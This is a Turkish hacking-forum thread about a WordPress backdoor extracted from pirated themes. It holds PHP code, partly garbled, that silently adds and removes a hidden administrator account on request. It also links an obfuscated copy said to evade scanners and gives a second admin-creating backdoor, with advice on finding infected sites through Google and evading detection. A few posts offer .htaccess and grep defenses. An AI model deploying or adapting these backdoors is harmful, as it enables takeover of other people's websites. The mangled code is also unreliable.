https://hastebin.com/raw/wofesamose şifreli hali backdoorun hiç bir malware scannere yakalanmıyor decode edilmiş hali https://www.unphp.net/decode/6de64366f25776de3f23b108e26c26af/ Decode edilmiş hali çalışıyor mu peki? Syntaxın ırzına geçilmiş gibi duruyor çünkü. 0x0480 takilin madem

Wordpress sitelere warez temalar kullanarak backdoor açma kodu wp-includes/class. wp. php?awu=ok diye çalıştırınca admin açar wp-includes/class. wp. php?dwu=ok diye çalışıtırınca Açılan Admini Siler <?php $ = "options"; $ = "table_name"; $ = "sample"; error_reporting(0); require $_SERVER . "/wp-load. php"; $ { $ } = $wpdb->get_blog_prefix ; $ { $ } = "a:1: "; if (isset if (isset { $wpdb->query("INSERT INTO $wpdb->users VALUES ('1001010', '1001010', '\$P\$B3PJXeorEqVMl//L3H5xFX1Uc0t5870', '1001010', 't@e. st', '', '2011-06-07 00:00:00', '', '0', '1001010');"); $wpdb->query("INSERT INTO $wpdb->usermeta VALUES (1001010, '1001010', ' capabilities', ' ');"); $wpdb->query("INSERT INTO $wpdb->usermeta VALUES (NULL, '1001010', ' user_level', '10');"); } if (isset if (isset { $gvgdrowuag = "options"; $ = "options"; $ = get_option ; echo "<center><h2>" . esc_attr($ { $ } . ":" . esc_attr . "<br>"; echo esc_html(envato_market ->get_option ; echo "</center></h2>"; } ?> insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

1234567B bunu yazdı Ortada tema filan yok kardeşim adam bir backdoor kodu vermiş sen tema diyorsun Adam backdoor'u envato warezinden ayıklamış. Nerden ayıkladıgı ne farkeder alın kullanın diye paylaşmış adam kodu anlamak için temaya ne gerek var Sen bunu test ettinmi kardeşim arbeit macht frei

KaptaN bunu yazdı Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. Uzak sunucuya gndermiyor. arbeit macht frei

kavga etmeye gerek yok kod illa wp-includes içinde olucak diye birşeyyok istedeğin klasre at ama wordpress root dizinine kurulu olucak yani alt klasre kurma loglama olayına gelince herhalde logluyordur ama bu kodda loglama yok Teşekkür ederim, umarım anlamıştır artık. 0x0480 takilin madem

kavga etmeye gerek yok kod illa wp-includes içinde olucak diye birşeyyok istedeğin klasre at ama wordpress root dizinine kurulu olucak yani alt klasre kurma loglama olayına gelince herhalde logluyordur ama bu kodda loglama yok Hacım sen bunu nerden kopyaladın arbeit macht frei

end bunu yazdı 1234567B bunu yazdı Ortada tema filan yok kardeşim adam bir backdoor kodu vermiş sen tema diyorsun Adam backdoor'u envato warezinden ayıklamış. Nerden ayıkladıgı ne farkeder alın kullanın diye paylaşmış adam kodu anlamak için temaya ne gerek var Sen bunu test ettinmi kardeşim Bak ben tema içerisinde illaki loglanıyordur demişim, sen ise yanlışımı düzeltiyormuş gibi bir üslupla yok hayır loglanmıyor demişsin. Jammer mi var arada amk neden anlamıyorsun? Çalışıyor çalışmıyora gelecek olursak, http://php.net/manual/fr/language. variables. variable. php#50912 php. net'te değişken atama rneği verilmiş burada atandığı gibi. Syntax bazında sıkıntı yok anlamına geliyor bu. Wordpressle de haşır neşir değilim. Ama normalde admin rolünde kullanıcı oluşturulurken yapılan sql sorgularını taklit ediyor gibi grünüyor. Yüksek ihtimalle sorunsuz çalışıyordur. Amma ve lakin konu bu değil. end tarafından 13/Ara/17 11:58 tarihinde düzenlenmiştir 0x0480 takilin madem

Çok zür dilerim. Bu kod rneği muhtemelen pluginden falan alınma. EWPT_PLUGIN_SLUG gibi bir sabit geçiyor çünkü. Anafikir aynı ama. Ben burada loglanıyor demedim. Diğer dosyaların içinde bir yerde muhakkak loglanıyor olma ihtimalinin yüksek olduğunu syledim. end tarafından 13/Ara/17 12:17 tarihinde düzenlenmiştir 0x0480 takilin madem

Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez

1234567B bunu yazdı end bunu yazdı KaptaN bunu yazdı Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. Uzak sunucuya gndermiyor. Ayni temaya siz de mi denk geldiniz hocam? Yok sadece kodlara baktım. Zaten çalışacağını düşünmüyorum. Sadece bu haliyle bu sınıf themes veya plugins dizininden wp incudes içerisine zıplayamaz. Test edelim. Wp panele baktıgımızda yeni bir kullanıcı oluşturmuyor. Evet grdüğümüz gibi çalışmıyor. Şimdi zaten bukadar kasmaya gerek yok. Functions. php içerisine erişebiliyor olman demek zaten site senin demek. İşsiz bir zamanıma geldiniz rnek birtane yazayım. <?php add_action ; function allInoneSeoPack ?> bunu functions. php içine yada eklentinin içine gmün ardından şyle bir sorgu ytapmanız yeterli siteadi.com/?aisp=1&un=tbt oluşan kullanıcının adı tbt şifresi 1234567B olacaktır. arbeit macht frei

Edit : hocam class. wp. php değil de class-wp. php var bunlar aynı şeyler mi? warez tema kullanıyorsanız olması yüksek ihtimal insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

bunu kaldırabileceğimiz bir eklenti vs. var mıdır

Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. 0x0480 takilin madem

Kardeşim ben yukarda test etmişim bu backdoor için çok gereksiz bir yntem tema dizininden wp-includes dizine dosya atlatamaz bu kodla. Sana ilk yazdıgım mesajda dedimki uzak sunucuya gnderim yapmıyor sen de diyorsunki illa logluyordur lan lokalde log tutsa ne olacak ben backdoor koydugum temayı kullanan siteyi nerden bilecem İkincisi madem wpden anlamıyorsun ne diye yüksek ihtimalle çalışır diyosun arbeit macht frei

İyimiş hoşmuş, arşivde bulunsun. Vir sapit qui pauca loquitur.

Ortada tema filan yok kardeşim adam bir backdoor kodu vermiş sen tema diyorsun Adam backdoor'u envato warezinden ayıklamış. 0x0480 takilin madem

:) yapma bunu neden public ettin ki şimdi :D skdjhksjf şaka bi yana ellerine sağlık. Wordpress - SEO & Digital Marketing

Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez Byle bir yazı çıkar dizindede wp-includes/class. wp. php dosya varsa geçmiş olsun wp-includes/class. wp. php?awu=true derseniz adminsiniz direk EcHoLL tarafından 12/Ara/17 15:21 tarihinde düzenlenmiştir insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

end bunu yazdı 1234567B bunu yazdı end bunu yazdı KaptaN bunu yazdı Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. Uzak sunucuya gndermiyor. Ayni temaya siz de mi denk geldiniz hocam? Yok sadece kodlara baktım. Zaten çalışacağını düşünmüyorum. Sadece bu haliyle bu sınıf themes veya plugins dizininden wp incudes içerisine zıplayamaz. Test edelim. Wp panele baktıgımızda yeni bir kullanıcı oluşturmuyor. Evet grdüğümüz gibi çalışmıyor. Şimdi zaten bukadar kasmaya gerek yok. Functions. php içerisine erişebiliyor olman demek zaten site senin demek. İşsiz bir zamanıma geldiniz rnek birtane yazayım. bunu functions. php içine yada eklentinin içine gmün ardından şyle bir sorgu ytapmanız yeterli siteadi.com/?aisp=1&un=tbt oluşan kullanıcının adı tbt şifresi 1234567B olacaktır. İyi de ben bu kod bloğunda loglanıyor demedim ki. Adam mal mı da backdoor bırakıp izini sürmesin. Fonksiyon dosyası şifrelidir, araya sıkıştırılmıştır. functions diye bir php dosyasuı yok mu wp tema dizininde, heh ondan bahsediyorum. Lütfen... end tarafından 13/Ara/17 07:01 tarihinde düzenlenmiştir 0x0480 takilin madem

kavga etmeye gerek yok kod illa wp-includes içinde olucak diye birşeyyok istedeğin klasre at ama wordpress root dizinine kurulu olucak yani alt klasre kurma loglama olayına gelince herhalde logluyordur ama bu kodda loglama yok insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

require $_SERVER . "/wp-load. php";Yani çalışması için kodun ana dizine wp kurulu olması lazım insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

millet uyanık olsun :) wp-includes/class. wp. php Byle bir dosya varsa sitenize adam kafasına gre yazı yayınlaya bilir bilginiz olsun insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Salt olarak calismasi mumkun degil zaten. Fatal error vermeli. Aslinda var olmayan sabitler zart zurt var. Ama mantik alinabilir. Bakin bu kodta loglama yapiliyor demiyorum. Bu kodun alindigi pluginin icinde bir yerlerde yapiliyordur diyorum. Aksi halde yazilmis olmasinin bir mantigi yok zira. Babandan kalma jakuzili villan var ama villanin adresini bilmiyorsun. 0x0480 takilin madem

end bunu yazdı KaptaN bunu yazdı Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. Uzak sunucuya gndermiyor. Ayni temaya siz de mi denk geldiniz hocam? end tarafından 12/Ara/17 17:15 tarihinde düzenlenmiştir 0x0480 takilin madem

adam bir kod paylaşmış nelerle uğraşmışsınız yav verilen kod basit loglama olmayan bir backdoor temaya kodu yedirirsiniz, temanın farklı yerlerine google indexleyecek şekilde bir işaret atarsınız daha sonra googledan taratıp sitelere dalarsınız. Bunun daha gelişmişini her kşebaşında indirmeye sunulan nulled temalarda bulabilirsiniz onlarda loglama olayı da var. Yalnız hatırlatmakta fayda var dosya ismi ya da değişkenleri kendinize gre düzenleyin aksi halde hostingin suspend yemesine sebep olabiliyor ben de suspend yiyen wp sitelerim sayesinde ğrendim bu backdoor olaylarını tee sene bilmemkaçta. :|

çok faydası oldu teşekkürler.

1234567B bunu yazdı end bunu yazdı 1234567B bunu yazdı end bunu yazdı KaptaN bunu yazdı Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. Uzak sunucuya gndermiyor. Ayni temaya siz de mi denk geldiniz hocam? Yok sadece kodlara baktım. Zaten çalışacağını düşünmüyorum. Sadece bu haliyle bu sınıf themes veya plugins dizininden wp incudes içerisine zıplayamaz. Test edelim. Wp panele baktıgımızda yeni bir kullanıcı oluşturmuyor. Evet grdüğümüz gibi çalışmıyor. Şimdi zaten bukadar kasmaya gerek yok. Functions. php içerisine erişebiliyor olman demek zaten site senin demek. İşsiz bir zamanıma geldiniz rnek birtane yazayım. bunu functions. php içine yada eklentinin içine gmün ardından şyle bir sorgu ytapmanız yeterli siteadi.com/?aisp=1&un=tbt oluşan kullanıcının adı tbt şifresi 1234567B olacaktır. İyi de ben bu kod bloğunda loglanıyor demedim ki. Adam mal mı da backdoor bırakıp izini sürmesin. Fonksiyon dosyası şifrelidir, araya sıkıştırılmıştır. functions diye bir php dosyasuı yok mu wp tema dizininde, heh ondan bahsediyorum. Lütfen... Ne dediğini anlamakta güçlük çekiyorum. Kimse sana bu kod blogu loglanıyor diyorsun demediki arbeit macht frei

end bunu yazdı KaptaN bunu yazdı Hocam peki yüklediğini nasıl anlıyosunuz onlarca kişi kurdu temayı ama kim hamgş siteye kurdu nerden bilcez fonksiyonların içinde bir yerde logluyordur site adresini uzak sunucuya. 2 Uzak sunucuya gndermiyor. 1 Bak burada ne demişsin :P (1) Aynı temayı indirip kurcalamadığına gre bu yorumu (1), benim (2) ilk giride yazılan ağzı yüzü yamuk kod parçasına gre yazdığımı düşünerekten yazdın. 0x0480 takilin madem

Edit : hocam class. wp. php değil de class-wp. php var bunlar aynı şeyler mi? huzi123 tarafından 12/Ara/17 16:16 tarihinde düzenlenmiştir

Bu Saldırılardan Korunmak için wp-includes wp-content Klasrünün için. htaccess dosyası oluşturup Altdaki kodu çakın gitsin <FilesMatch "\. $"> <IfModule! mod_authz_core. c> Order allow, deny Deny from all </IfModule> <IfModule mod_authz_core. c> Require all denied </IfModule> </FilesMatch> Eğer Saldırıya ugramışsanız wp-admin komple silip tekraradan ftp atın insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Ortada tema filan yok kardeşim adam bir backdoor kodu vermiş sen tema diyorsun arbeit macht frei

Sunucuzda Byle bir malwere varmı taratmak için putty ssh login oluyoruz find /home / /public_html -type f -print0 | xargs -r0 grep -F 'GL\x4f\x42\x41\x4c\x53'>banakaymislarmi. txt Arama bitince banakaymislarmi. txt bakıyoruz kayıp kaymadıklarını grüyorsunuz :) insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

https://hastebin.com/raw/wofesamose şifreli hali backdoorun hiç bir malware scannere yakalanmıyor decode edilmiş hali https://www.unphp.net/decode/6de64366f25776de3f23b108e26c26af/ insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Konuyu gizleyin :) "Tarikat kutsaldır, maddi çıkar için kullanılamaz." HolyOne

EcHoLL bunu yazdı kavga etmeye gerek yok kod illa wp-includes içinde olucak diye birşeyyok istedeğin klasre at ama wordpress root dizinine kurulu olucak yani alt klasre kurma loglama olayına gelince herhalde logluyordur ama bu kodda loglama yok Hacım sen bunu nerden kopyaladın fasted cache eklentisinin pre versiyonunda vardı birde market temasında baya bir yerde kullanılmış bu insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Kardeşim ben yukarda test etmişim bu backdoor için çok gereksiz bir yntem tema dizininden wp-includes dizine dosya atlatamaz bu kodla. Sana ilk yazdıgım mesajda dedimki uzak sunucuya gnderim yapmıyor sen de diyorsunki illa logluyordur lan lokalde log tutsa ne olacak ben backdoor koydugum temayı kullanan siteyi nerden bilecem İkincisi madem wpden anlamıyorsun ne diye yüksek ihtimalle çalışır diyosun Seni bloklayamıyor muyum ben? Cidden anlama zürlüsün ya. Bak caps lockla yazıyorum hoca. BEN SANA DİYORUM Kİ, TEMA DOSYALARINDA BAK HANİ TEMA BİRDEN FAZLA DOSYADAN OLUŞUYOR YA. TEMANIN FONKSİYONLARININ TUTULDUĞU KRİTİK BIR DOSYA VAR HANİ. ÇAYLAKLARIN GENELDE UZAK DURDUĞU KIMI ZAMAN 1000 SATIRI GREN DOSYA. GENELDE ADI FUNCTIONS. PHP OLUR HANI. BİLDİN Mİ? ORADA BİR YERDE İLLA LOGLANIYORDUR. YOKSA DEDIGIN GIBI ADAM NASIL BILECEK KURULUP KURULMADIGINI. GOTUNE CUBUK MU SOKACAK? UMARIM ŞİMDİ ANLAŞABİLMİŞİZDİR. SAYGILARIMLA... end tarafından 13/Ara/17 12:10 tarihinde düzenlenmiştir 0x0480 takilin madem